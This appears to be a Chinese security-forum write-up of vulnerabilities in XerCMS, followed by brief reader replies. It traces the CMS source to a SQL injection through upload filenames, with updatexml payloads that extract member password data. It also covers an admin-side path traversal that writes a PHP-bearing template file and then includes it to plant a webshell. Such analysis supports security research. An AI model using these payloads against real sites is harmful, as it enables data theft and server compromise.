ByHuaiNian 发表于 2016-12-6 20:57:23

xercms前台注入和后台getshell

本帖最后由 ByHuaiNian 于 2016-12-6 22:07 编辑

0x00.序言
前台insert类型注入,是因为上传文件时对文件名没有有效过滤就进行insert操作而造成的。后台getshell虽然有些鸡助,但是感觉这个思路还是有些意思的,就跟大家分享一下QAQ~


0x01.路由分析

我们还是先来分析一下cms的路由,


Assets文件夹主要是放着一些flash,js,css,文本编辑器等。install放着安装cms的功能文件。template是模板文件夹。upfiles是上传文件夹。xercms则是整个cms的核心文件夹。xercms文件夹中modules文件夹主要存放前台文件,services主要存放后台文件
根目录下index.php 为入口文件,我们来看下入口文件,

ini_set( 'display_errors', 'Off' );
error_reporting(0);
define( 'XERCMS_DEBUG', true );
require ('XerCMS/Kernel.php' );
X:: $G[ 'urlpath' ] = substr($_SERVER['SCRIPT_NAME' ],0,-9);
X::Init ();
X::load ();

可以看到首先包含了xercms文件夹下的kernel.php文件。然后调用该类的2个重要的静态方法,init()和load()
init()方法主要是初始化了一些配置,我们主要看的是load()方法,它是控制cms路由的核心

public static function load($tpl = '') {
            $G = &X:: $G ;
            X:: $G ['enter' ] = g( 'e');
            X:: $G ['enter' ] = empty(X:: $G ['enter' ]) ? 'index' : X::$G ['enter' ];
            self ::check(X:: $G ['enter' ]);
            if (isset ($_GET[ 'm'])) {
               X:: $G ['module' ] = g( 'm');
               self ::check(X:: $G ['module' ]);
               if (!X::$G ['CYK' ] && !in_array(X::$G ['module' ], self:: $CONFIG[ 'modules' ])) {
                  showtips( 'module_noexists' ,X::$G ['urlpath' ]);
               }
         define( 'DIR' ,INC.'Modules/' .X:: $G[ 'module' ].'/' );
         X:: $G ['action' ]= (string)g( 'a', 'XerCMS');
         self ::check(X:: $G ['a' ]);
         hooks(1,1);
         include (DIR.X:: $G[ 'enter']. '.php' );
         $XM = 'XerCMS_MODULE_' .X::$G ['enter' ];
         if (class_exists($XM, false)) {
                $Xer = new $XM();//print_r($Xer);exit;
                hooks(2,1);
                if (method_exists($Xer,X:: $G[ 'action']))
                     $Xer->$G[ 'action']();
         }
               hooks(5,1);
            } else if (isset ($_GET[ 's'])) {
               X:: $G ['service' ] = (string)g( 's');
               self ::check(X:: $G ['service' ]);
               X:: $G ['action' ]= (string)g( 'a', 'xercms');
               self ::check(X:: $G ['a' ]); //print_r(X::$G);exit;
               define( 'DIR' ,INC.'Services/' .X:: $G[ 'service' ].'/' );
               X:: $G ['module' ] = &X:: $G[ 'service' ];
               hooks(1,3);
               self ::import(X:: $G ['enter' ].'.php' ,DIR);
               $SN = 'Service_' .X::$G ['service' ].'_' .X:: $G[ 'enter' ];
               if (class_exists($SN, false)) {
                  $Xer = new $SN();//print_r($Xer);exit;
                  hooks(2,3);
                  if (method_exists($Xer,X:: $G[ 'action']))
                        $Xer->$G[ 'action']();
               }
               hooks(5,3);
            } else {
               X:: $G ['module' ] = 'home';
               X:: $G ['enter' ] = '';
               hooks(1,5);
               include (tpl('common/xercms.htm' ));
               hooks(5,5);
            }
          exit ;
   }
}


为了方便大家看我简化了一下代码,去掉了一些不常用的判断。我们来根据url分析一下这个方法

http://localhost/zend/xercms/?m=archives&a=column&column=2
根据代码可以看出这里面有3个重要的变量 m,s,a,e。
m,s代表模块名,a代表调用的方法(默认为xercms),e代表调用的文件名(默认为index)。
根据流程首先会先接受e的值(文件名),再判断m和s是否存在。如果都不存在则默认调用首页的模板文件。如果存在m则代表调用的是前台的某个模块,s存在则代表调用后台。注意这4个变量的值都会调用check方法进行判断,只能为字母和数组还有下划线,否则页面跳转并exit程序结束。

前台和后台的处理流程大致相同,只不过是路径有所差距。我们这里就拿前台的流程来说,先接收m的值(也就是模块名),文件夹路径则为/modules/模块名/,接收a的值(也就是方法名),根据e的值和先前的路径生成包含文件的路径和文件名并包含,确定该文件中类名,前台类名都为XerCMS_MODULE_文件名,然后判断类是否存在,声明该类的对象,判断该类中方法是否存在,存在则调用。

我们可以清楚的看到通过这4个变量就控制了整个cms的路由。根据改变4个变量的值就可以调用固定目录下的某个文件的方法,前台的固定目录为modules下,modules下有4个以模块名命名的文件夹,后台固定目录为services,也有4个以模块名命名的文件夹。


0x02.前台insert注入
这个注入发生点有2处,都是上传图片时insert文件名而没有对文件名进行有效过滤造成的注入。

这两处注入都需要先注册个账号并登陆,

第一处注入在会员中心->个人资料->上传头像处,url为http://localhost/zend/xercms/index.php?m=member&a=profile,上传并抓包



调用的是xercms/modules/member/index.php 中的upfiles方法,其中通过c('upload')->files(); 完成了上传文件的操作。我们进跟进一下,调用是xercms/library/XerCMS_upload.php文件中的files方法,files方法又调用了file方法

function file($name) {
      if (isset ($_FILES[$name][ 'tmp_name']) && !empty ($_FILES[$name]['tmp_name' ])) {
                  $ext = $this->ext($_FILES[$name][ 'name' ]);
      if (in_array(strtolower($ext),$this-> forbid) || preg_match('/([^a-z0-9])/i' ,$ext,$match)) {
                  $this-> result [$name]['error' ] = 'Ext'; return;
      }
      if (!empty ($this-> config[ 'maxsize']) && $_FILES[$name]['size' ] > $this->config ['maxsize' ]) {
                  $this-> result [$name]['error' ] = 'Size'; return;
      }
      $rid = $this->record($_FILES[$name]);
      $this->dir($this-> config ['path' ],$rid,$ext);
      if (is_uploaded_file($_FILES[$name]['tmp_name' ])) {
            if (move_uploaded_file($_FILES[$name]['tmp_name' ],$this->name($rid)) == false ) {
                  $this->delrid($rid);
                   $this-> result [$name]['error' ] = 'Move'; return;
            } else {
                  //chmod($this->name($rid),0644);
            }
....//

对文件的上传操作我们就不详细说了。关键看第10行代码,$rid = $this->record($_FILES[$name]); 调用了record方法,并将$_FILES数组传了进去。继续跟踪一下

function record($upfile) {
      if (X::$G ['uid' ]) {
               DB::add( 'xercms_member_count', array ('upload' =>$upfile[ 'size']), array ('uid' =>X:: $G[ 'uid' ]));
      }
      DB:: insert( 'xercms_member_upfiles',
            array ('uid' =>X:: $G[ 'uid' ],
                'size' =>$upfile['size' ],
                'name' =>$upfile['name' ],
                'time' =>X:: $G[ 'time'],
                'ip' =>X:: $G[ 'ip'],
               'type' =>$this->cid ));
      return DB::lastid();
}

可以看到调用了insert方法,这里对$upfile['name' ] 文件名并没有进行任何过滤,该方法会返回insert成功后的id值,注意$_FILES[$name]['name']并不是最终上传后的文件名,而这个id值则是最终上传的文件名。
我们跟进insert方法来看一下,在xercms/library/XerCMS_db.php文件中。

static function insert($table,$fields) {
   if (empty ($fields)) {
          return ;
   }
   foreach ($fields as $k=>$v) {
          $content[] = '`' .DB::filter($k, 'f' ).'` = \''.DB:: filter($v).'\'' ;
   }
   self ::query( 'INSERT INTO ' .$table.' SET '.implode( ',',$content), self ::$connect );
   return self ::lastid();
}

第6行代码可以看到在insert方法中进行了过滤。然后调用了query方法。跟进filter方法来看一下过滤规则

static function filter($str,$t = '') {
            $str = (string)$str;
             switch ($t) {
                   case 'f':
                         return preg_replace('/([^a-z0-9_])/i' ,'' ,$str);
                   break ;
                   default :
                         return trim($str,'\\' );
                   break ;
            }
}

可以看到针对key 将不是字母和数字还有下划线的其他字符替换成了'',而对value只是过滤了\,所以是可以造成注入的,接下来跟进query方法

static function query($sql,$check = true ) {
      self:: $connect || DB::connect();
      $res = mysql_query($sql, self:: $connect) ;
      if(!$res) {
            self ::$error = mysql_error() ;
            file_put_contents(INC.'Logs/Database/' .date( 'Y-m-d',time()). '.php' ,'<?php exit(\'Access Denied\'); ?>'. "\r\n". self ::$error ."\r\n" .$sql. "\r\n\r\n",FILE_APPEND);
            if (!self :: $debug) {
                   self ::error( mysql_errno(), self:: $error);
            }
      }
      return $res;
}

可以看到如果发生错误,则会调用第8行代码的error方法,而error方法中又输出出了异常信息,所以我们可以用显错注入来获取数据。

那么payload为:
tnt' or updatexml(1,concat(0x7e,(version())),0) or '.jpg



最终payload:
tnt' or updatexml(1,concat(0x7e,(select substr(concat(pass),1,31) from xercms_member limit 0,1)),0) or '.jpg



注意这里需要用substr来截取字符

第二处注入发生在论坛服务->发帖或者回复时,调用了ueditor插件,但是都对源代码进行了补充,在上传图片后都对原先的图片名进行了insert操作,对文件名没有进行有效的过滤,然后调用的是同一个insert方法。他们的原理是一样的,这里就不继续说了。





0x03.后台getshell
首先我们来看xercms/services/admin/forms.php文件的updateTemplate方法,url访问为:http://localhost/zend/xercms/?s=admin&e=forms&a=updateTemplate

function updateTemplate() {
          $sname = g( 'sname' );$data = stripslashes(p('content' ));
          file_put_contents(INC.'Data/forms/template/' .$sname. '.htm',$data);
          $this->tips( 'finish' ,dreferer());
}

先接收get参数sname,然后接收post参数content,而content只是调用stripslashes()方法去掉了反斜线。
然后调用file_put_contents来写入文件,$sname和$data都是可控的。但是文件后缀却是.htm的。这样我们就不能直接写入php文件了。

我们先写入htm文件。
url为:http://localhost/zend/xercms/?s=admin&e=forms&a=updateTemplate&sname=../../../../1
post参数为:content=<?php phpinfo()?>
这样就在根目录下写入了1.htm文件



这时候我们要找找有没有地方可以利用我们写入的htm文件。
来看xercms/services/admin/member.php文件的editmember方法
function editmember() {
            $id = int1(g( 'id'));
            $model = g( 'model' ,'personal' );
            $member = memberdata($id);
            $member = array_merge($member,i('m.member' )->getProperty($id,$model));
            include_once ($this->tpl('header.htm' ));
            include_once ($this->tpl('../../../Data/member/model/template/' .$model. '.htm'));
}

可以看到这里接收的get参数model没有进行过滤,而且包含文件的后缀正好是.htm,我们就可以控制$model的值来调整路径和文件名。这时候将文件路径传入tpl方法中,我们跟踪一下。
在xercms/library/XerCMS_admin.php中的tpl方法

function tpl($path)
   {
          $CacheName = md5($path);
          if (file_exists(INC.'Caches/template/' .$CacheName. '.php') && 1 == 2) {
               return INC.'Caches/template/' .$CacheName. '.php';
          } else {
               if (X::$compiler == NULL) {
                  X:: import( 'compiler');
                  X:: $compiler = new compiler();
               }
               X::$compiler ->Set('XerCMS/Services/' .$this-> Path. '/template/',$path);
               X:: $compiler ->parse();
               $tpl = X:: $compiler ->file();
               return $tpl;
          }
   }

先将$path md5加密并赋值给$CacheName 。然后判断xercms/caches/template/下有没有$CacheName这个文件,有就直接返回文件路径,没有就进行下面的操作,
我们主要来看11行代码的set方法。
在xercms/library/XerCMS_compiler.php中。

public function Set($dir,$file,$cacheId = '') {
         $this-> cacheId =empty($cacheId) ? md5($dir.$file) : $cacheId;
         $this-> tplDir = $dir;
            $this-> currDir = dirname($dir.$file).'/' ;
            $this-> html = $this->tpl($file);
      }

       public function tpl($file) {
         if ($file == NULL)
               return '';
         if (strpos($file,'/' ) !== false) {
               $file = $this-> tplDir .$file;
            } else $file = $this->currDir .$file;
          $file = XERCMS.$file;
         if (is_file($file)) {
               return file_get_contents($file);
            } else throw new TpError($file.' is not exist!' );
      }

在set方法中调用了tpl方法,可以看到将文件的内容用file_get_contents读了出来并赋值给了$this->html。

然后再看XerCMS_admin.php中tpl方法的第13行,$tpl = X:: $compiler ->file(); 调用了file方法在xercms/caches/template/生成了文件名为md5加密后的php文件,并将$this->html的值写入了进去。最后返回该文件的路径。

最后在editmember方法中在将该文件包含,可以看到包含的并不是我们写入的.htm文件,而是会在xercms/caches/template/下生成一个php文件,根据我们传入的文件路径找到我们的htm文件,将内容读出并写入到生成的php文件中,最后返回生成的php文件的路径,再将其包含。

最后我们来看下这个文件的内容。xercms/caches/template/6142a0d2f3b02d780b49bae380e1109d.php



这里有个关键的地方就是先判断常量XERCMS是否存在,这里加了!号,所以false为满足条件,true不满足条件,而这个常量是存在的为true,不满足条件,&&后面的exit就不会执行了。然后会执行后面的phpinfo(),如果满足条件则会继续执行&&后面的exit,这样就不能执行我们写入的php代码了。

url:http://localhost/zend/xercms/?s=admin&a=editmember&e=member&id=1&model=../../../../../1



因为要过后台的登录验证,有exit。不能直接拿菜刀连,我们可以在根目录下写入一个php文件就可以直接连了。



这样执行这些代码就能再根目录下写入一个2.php的文件,INC为cms自己定义的路径常量。




小圈圈 发表于 2016-12-7 09:44:11

这个口以啊

My90sec 发表于 2016-12-7 09:45:24

:P支持大牛这么详细的讲解。支持

w2015 发表于 2016-12-7 11:49:08

学习走一波,就是要看懂这篇文章还要好久的时间!

90_ 发表于 2016-12-7 17:08:35

这篇文章的含金量,是今天我看到站内网站中最高的

3‘server 发表于 2016-12-10 18:15:25

很不错的分析

admia 发表于 2016-12-12 21:15:29

好牛的实力
页: [1]
查看完整版本: xercms前台注入和后台getshell